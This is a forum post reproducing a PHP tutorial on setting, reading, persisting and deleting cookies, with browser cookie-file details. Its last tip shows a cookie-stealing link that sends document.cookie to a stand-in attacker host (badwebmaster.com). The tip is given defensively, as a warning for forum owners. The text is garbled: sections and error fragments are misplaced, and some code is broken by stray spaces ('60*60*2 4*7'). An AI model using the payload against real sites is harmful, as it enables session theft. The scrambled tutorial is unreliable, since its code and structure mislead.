Error » Certification & Programming center Error !! » Programming tutorials » PHP Script Tips - Understanding and Managing Cookies

Programming tutorials All Knowledge Info and links to posted here

Post New Thread Reply
  PHP Script Tips - Understanding and Managing Cookies
LinkBack Thread Tools Display Modes
Old 21-Dec-2006, 02:07 AM   #1 (permalink)
Administrator
 
Anilrgowda's Avatar

Posts: 18,715
Join Date: Jan 2006
Rep Power: 10 Anilrgowda is on a distinguished road

IM:
Default PHP Script Tips - Understanding and Managing Cookies

A collection of 23 tips on understanding and managing cookies in PHP. Clear explanations and tutorial exercises are provided on setting and receiving cookies, creating and removing persistent cookies, specifying domain and path to restrict cookies, finding cookies in cookie files, cookie limitations. Topics included in this collections:
  1. What Is a Cookie?
  2. How To Send a Cookie to the Browser?
  3. How To Receive a Cookie from the Browser?
  4. How To Test Cookies on a Web Server?
  5. What Is a Persistent Cookie?
  6. How To Set a Persistent Cookie?
  7. How To Test Persistent Cookies?
  8. How To Remove a Cookie?
  9. What Are Domain and Path Attributes for Cookies?
  10. How To Specify Domain and Path for a Cookie?
  11. What Is the Common Mistake When Setting Path and Domain on Temporary Cookies?
  12. How Cookies Are Transported from Servers to Browsers?
  13. How To View Cookie Header Lines?
  14. How Cookies Are Transported from Browsers to Servers?
  15. Where Are the Persistent Cookies Stored on Your Computer?
  16. How To Delete Cookie Files on Your Computer?
  17. How View the Content of a Cookie File?
  18. How Does FireFox Manage Cookies?
  19. In Which Does File FireFox Store Persistent Cookies?
  20. How Many Cookies Can You Set?
  21. How Large Can a Single Cookie Be?
  22. How Are Cookies Encoded During Transportation?
  23. How Can Other Webmaster Steal Your Cookies?
What Is a Cookie?
A cookie is a small amount of information sent by a Web server to a web browser and then sent back unchanged by the browser each time it accesses that server. HTTP cookies are used for authenticating, tracking, and maintaining specific information about users, such as site preferences and the contents of their electronic shopping carts. The term "cookie" is derived from "magic cookie", a well-known concept in computing which inspired both the idea and the name of HTTP cookies.
A cookie consists of a cookie name and cookie value. For example, you can design a cookie with a name of "LoginName" and a value of "FYICenter".
How To Send a Cookie to the Browser?
If you want to sent a cookie to the browser when it comes to request your PHP page, you can use the setcookie( ) function. Note that you should call setcookie() function before any output statements. The following script shows you how to set cookies:

<?php
setcookie("LoginName","FYICenter");
setcookie("PreferredColor","Blue");
print("2 cookies were delivered.\n");
?>
</pre> How To Receive a Cookie from the Browser?
If you know that a cookie has been sent to the browser when it was visiting the server previously, you can check the built-in $_COOKIE array, which contains all cookies that were sent by the server previously. The script below shows you how to pickup one cookie from the $_COOKIE and loop through all cookies in $_COOKIE:

<?php

if (isset($_COOKIE["LoginName"])) {
$loginName = $_COOKIE["LoginName"];
print("Received a cookie named as LoginName: ".$loginName."\n");
} else {
print("Did not received any cookie named as LoginName.\n");
}
print("All cookies received:\n");
foreach ($_COOKIE as $name => $value) {
print " $name = $value\n";
}
?>
</pre> How To Test Cookies on a Web Server?
If you want to test cookies with a browser, you need to run a Web server locally, or have access to a Web server remotely. Then you can copy the following PHP cookie test page, setting_receiving_cookies.php, to the Web server:

<?php
setcookie("LoginName","FYICenter");
setcookie("PreferredColor","Blue");
print("<pre>\n");
print("2 cookies were delivered.\n");

if (isset($_COOKIE["LoginName"])) {
$loginName = $_COOKIE["LoginName"];
print("Received a cookie named as LoginName: ".$loginName."\n");
} else {
print("Did not received any cookie named as LoginName.\n");
}

$count = count($_COOKIE);
print("$count cookies received.\n");
foreach ($_COOKIE as $name => $value) {
print " $name = $value\n";
}
print("</pre>\n");
?>
</pre> If you open this PHP page with a browser as http://localhost/setting_receiving_cookies.php, you will get:

2 cookies were delivered.
Did not received any cookie named as LoginName.
0 cookies received.
</pre> "0 cookies received" is because there was no previous visit from this browser. But if you click the refresh button of your browser, you will get:

2 cookies were delivered.
Received a cookie named as LoginName: FYICenter
2 cookies received.
LoginName = FYICenter
</pre>What Is a Persistent Cookie?
A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:
  • Temporary cookies can not be used for tracking long-term information.
  • Persistent cookies can be used for tracking long-term information.
  • Temporary cookies are safer because no programs other than the browser can access them.
  • Persistent cookies are less secure because users can open cookie files see the cookie values.
How To Set a Persistent Cookie?
If you want to set a persistent cookie, you can use the setcookie() function with an extra parameter to specify its expiration time. To follow sample script sets 2 persistent cookies to be expired within 7 days:
setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); How To Test Persistent Cookies?
If you want to test persistent cookies, you can copy the following PHP script, setting_persistent_cookies.php, to your Web server:
<?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> Open your browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received. Click the refresh button, you will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Received a cookie named as LoginName: FYICenter 4 cookies received. LoginName = FYICenter PreferredColor = Blue CouponNumber = 07470433 CouponValue = 100.00 Close your browser and open it again to the same page. You will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 2 cookies received. CouponNumber = 07470433 CouponValue = 100.00 This proves that "CouponNumber" and CouponValue" persisted outside the browse
How To Remove a Cookie?
Once a cookie is sent from the server to the browser, there is no direct way for the server to ask the browser to remove the cookie. But you can use the setcookie() function to send the same cookie to browser with a negative expiration time, which will cause the browser to expire (remove) the cookie immediately. The next sample PHP page will let you remove "CouponNumber" and CouponValue" persisted by the previous tutorial exercise:

<?php
setcookie("CouponNumber","",time()-1);
setcookie("CouponValue","",time()-1);
print("<pre>\n");
print("2 cookies were delivered with past times.\n");

$count = count($_COOKIE);
print("$count cookies received.\n");
foreach ($_COOKIE as $name => $value) {
print " $name = $value\n";
}
print("</pre>\n");
?>
</pre> Open your browser to visit this page: http://localhost/removing_cookies.php. You will see:

2 cookies were delivered with past times.
2 cookies received.
CouponNumber = 07470433
CouponValue = 100.00
</pre> Click the refresh button, you will see:

2 cookies were delivered with past times.
0 cookies received.
</pre> As you can see, both cookies are removed.
What Are Domain and Path Attributes for Cookies?
Cookies can also be defined with two other attributes:
  • Domain - A cookie attribute that defines the domain name of Web servers where this cookie is valid. Web browsers holding this cookie should not sent it back to any Web server outside the specified domain. The default domain is the domain from which the cookie originally came from.
  • Path - A cookie attribute that defines the path name of Web server document path where this cookie is valid. Web browsers holding this cookie should not sent it back to the server when requesting any documents that are outside the specified path. The default path is the root path.
How To Specify Domain and Path for a Cookie?
If you want to specify domain and path for cookie, you can use the setcookie() function with two extra parameters. The sample PHP script below shows you how to set the domain and path attributes for temporary and persistent cookies:

<?php
setcookie("LoginName","FYICenter", NULL, "/", ".fyicenter.com");
setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com");
setcookie("CouponNumber","07470433",time()+60*60*2 4*7,
"/store", ".fyicenter.com");
setcookie("CouponValue","100.00",time()+60*60*24*7 ,
"/store", ".fyicenter.com");
print("2 temporary cookies were delivered.\n");
print("2 consistent cookies were delivered.\n");
?>
</pre> What Is the Common Mistake When Setting Path and Domain on Temporary Cookies?
A common mistake made by many PHP developers is using an empty string for the expiration time parameter when setting path and domain for temporary cookies. The PHP script below shows an example of this mistake:

<?php
# Incorrect use of setcookie()
setcookie("LoginName","FYICenter", "", "/", ".fyicenter.com");

# Correct use of setcookie()
setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com");
?>
</pre> If you run this script, you will get an error:

PHP Warning: setcookie() expects parameter 3 to be long,
</pre>How To View Cookie Header Lines?
If you are interested to see the cookie header lines, or you are having trouble with your cookies and need to see the cookies to help debugging, you can run your script with PHP CGI interface in a command line window. The following tutorial exercise shows you a good example:
>edit showing_cookie_header_lines.php <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue", NULL, "/store"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7,"/store"); setcookie("CouponValue","100.00",time()+60*60*24*7 , "/store", ".fyicenter.com"); print("4 cookies were delivered.\n"); ?> >php-cgi showing_cookie_header_lines.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: LoginName=FYICenter Set-Cookie: PreferredColor=Blue; path=/store Set-Cookie: CouponNumber=07470433; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store Set-Cookie: CouponValue=100.00; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store; domain=.fyicenter.com 4 cookies were delivered. How Cookies Are Transported from Browsers to Servers?
Cookies are transported from a Web browser to a Web server in the header area of the HTTP request message. Each cookie will be included in a separate "Cookie:" header line in the following format:
GET / HTTP/1.1 Cookie: name1=value1 Cookie: name2=value2 Cookie: name3=value3 ...... Accept: */* Where Are the Persistent Cookies Stored on Your Computer?
The location and file names where persistent cookies are stored on your computer depend on which browser you are using. If you using Microsoft Internet Explorer, persistent cookies are stored in the \Documents and Settings\$user\Cookies directory. Cookies are stored in multiple cookie files with one file per Web server. Check your cookie directory on your local system, you will be surprised to see how many Web servers are setting persistent cookies to your computer.
How To Delete Cookie Files on Your Computer?
A simple way to delete cookie files on your computer is to use the function offered by the IE browser. The following tutorial exercise shows you how to delete cookie files created by IE:
  • Open IE (Internet Explorer)
  • Go to Options/Internet Options
  • Click the Delete Cookies button on the options dialog window.
Check the cookie directory again. All cookie files should be deleted.
How View the Content of a Cookie File?
Cookie files are normal text files. You can view them with any text editor. Follow the steps below to see what is in a cookie file created by your own PHP script.
Copy the following sample script, setting_persistent_cookies.php, to your Web server:
<?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?>
Open your IE browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:

2 temporary cookies were delivered.
2 consistent cookies were delivered.
Did not received any cookie named as LoginName.
0 cookies received.
</pre> Now go to \Documents and Settings\$user\Cookies directory and open the cookie file, $user@localhost.txt. You will see:


CouponNumber
07470433
localhost/
1024
3084847744
29787636
2404950512
29786228
*
CouponValue
100.00
localhost/
1024
3084847744
29787636
2405150512
29786228
*
</pre> How Does FireFox Manage Cookies?
FireFox browser allows you to delete old cookies, and gives you options to keep persistent cookies in cookie files until they reach their expiration time. The following tutorial shows you how to manage cookies in FireFox:
  • Run FireFox
  • Go to Tools/Options
  • Click Privacy and then Cookies
  • Click the Clear button to delete all old cookies
  • Change the Keep Cookies option to "until they expire" to allow persistent cookies to be store a cookie file.
In Which Does File FireFox Store Persistent Cookies?
If you change FireFox to keep cookies "until they expire", FireFox will store persistent cookies from all Web servers in a single file at: \Documents and Settings\$user\Application Data\Mozilla \Firefox\Profiles\xby7vgys.default\cookie.txt.
Open your FireFox browser to visit this page: http://localhost/setting_persistent_cookies.php. Then open FireFox cookie file. You will see:

# HTTP Cookie File
# http://www.netscape.com/newsref/std/cookie_spec.html
# This is a generated file! Do not edit.
# To delete cookies, use the Cookie Manager.

localhost FALSE / FALSE 1149219379 CouponValue 100.00
localhost FALSE / FALSE 1149219379 CouponNumber 07470433
......
</pre> How Many Cookies Can You Set?
How many cookies can you set in your PHP page? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
  • Internet Explorere (IE): 20
  • Mozilla FireFox: 50
If you want to test this limit, copy this sample script, how_many_cookies.php, to your Web server:

<?php
$count = count($_COOKIE);
$name = "Cookie_".($count+1);
$value = "FYICenter.com";
setcookie($name, $value);
print("<pre>\n");
print("One cookies were added.\n");
print("$count cookies received.\n");
foreach ($_COOKIE as $name => $value) {
print " $name = $value\n";
}
print("</pre>\n");
?>
</pre> Open your browser to this page for first time, you will see:

One cookies were added.
</pre>Click the refresh button, you will see:
One cookies were added. 1 cookies received. Cookie_1 = FYICenter.com Keep clicking the refresh button, you will see the limit of your browser.
How Large Can a Single Cookie Be?
How large can a single cookie be? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
  • Internet Explorere (IE): about 3904 bytes
  • Mozilla FireFox: about 3136 bytess
If you want to test this limit, copy this sample script, huge_cookies.php, to your Web server:
<?php if (isset($_COOKIE["HomeSite"])) { $value = $_COOKIE["HomeSite"]; } else { $value = ""; } $value .= "http://dev.FYICenter.com/faq/php"; setcookie("HomeSite", $value); print("<pre>\n"); print("Large cookie set with ".strlen($value)." characters.\n"); print("</pre>\n"); ?> Open your browser to this page for first time, you will see:
Large cookie set with 32 characters. Click the refresh button, you will see:
Large cookie set with 64 characters. Keep clicking the refresh button, you will see the limit of your browser.
How Are Cookies Encoded During Transportation?
When cookies are transported from servers to browsers and from browsers back to servers, Cookies values are always encoded using the URL encoding standard to ensure that they are transported accurately. But you don't need to worry about the encoding and decoding processes yourself. PHP engine will automatically encode cookies created by setcookie(), and decode cookies in the $_COOKIE array. The tutorial exercise will help you understand this concept better.
Write a sample PHP script, encoding_cookies.php, like this:
<?php setcookie("Letters", "FYICenter"); setcookie("Symbols", "A~!@#%^&*(), -_=+[]{};:'\"/?<>."); setcookie("Latin1", "\xE6\xE7\xE8\xE9\xA5\xA9\xF7\xFC"); print("<pre>\n"); $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> First, run this script off-line in a command window:
>php-cgi encoding_cookies.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: Letters=FYICenter Set-Cookie: Symbols=A%7E%21%40%23%25%5E%26%2A%28%29%2C +-_%3D%2B%5B%5D%7B%7D%3B%3A%27%22%2F%3F%3C%3E. Set-Cookie: Latin1=%E6%E7%E8%E9%A5%A9%F7%FC <pre> 0 cookies received. </pre> You see how cookie values are encoded now. Then copy the script, encoding_cookies.php to the Web server, and run it with a browser. You will get:
3 cookies received. Letters = FYICenter Symbols = A~!@#%^&*(), -_=+[]{};:\'\"/?.<> Latin1 = ���饩�� This shows that the values in the $_COOKIE array are already decoded.
How Can Other Webmaster Steal Your Cookies?
All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:

<a href="#" onclick="window.location='http://www.badwebmaster.com
/stole.cgi?text='+escape(document.cookie); return false;">
Click here to get your free gift!
</pre> If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).
So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.


0 cookies received.
</pre>


string given in \php_working_with_cookies.php on line 3
</pre> How Cookies Are Transported from Servers to Browsers?
Cookies are transported from a Web server to a Web browser in the header area of the HTTP response message. Each cookie will be included in a separate "Set-Cookie:" header line in the following format:

Set-Cookie: name=value; expires=time; path=pathVal; domain=domainVal
</pre>


PreferredColor = Blue
</pre>
Anilrgowda is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!Spurl this Post!Reddit!
Reply With Quote
   


   
Post New Thread Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
Cookies directory in Vista Anilrgowda Microsoft windows vista error 1 31-Aug-2007 03:26 AM
Cookies Tutorial AQUARIAN Programming tutorials 1 27-Feb-2007 01:20 AM
Block Third-Party Cookies in IE7 Anilrgowda Internet Explorer Error 0 30-Jan-2007 02:14 AM
Manage Cookies in Internet Explorer Anilrgowda Internet Explorer Error 0 29-Jan-2007 07:10 AM
PHP Script Tips - Understanding and Using Sessions Anilrgowda Programming tutorials 0 21-Dec-2006 02:03 AM


All times are GMT -8. The time now is 10:49 AM.

Powered by vBulletin® Version 3.7.2
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0

DMCA Policy

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228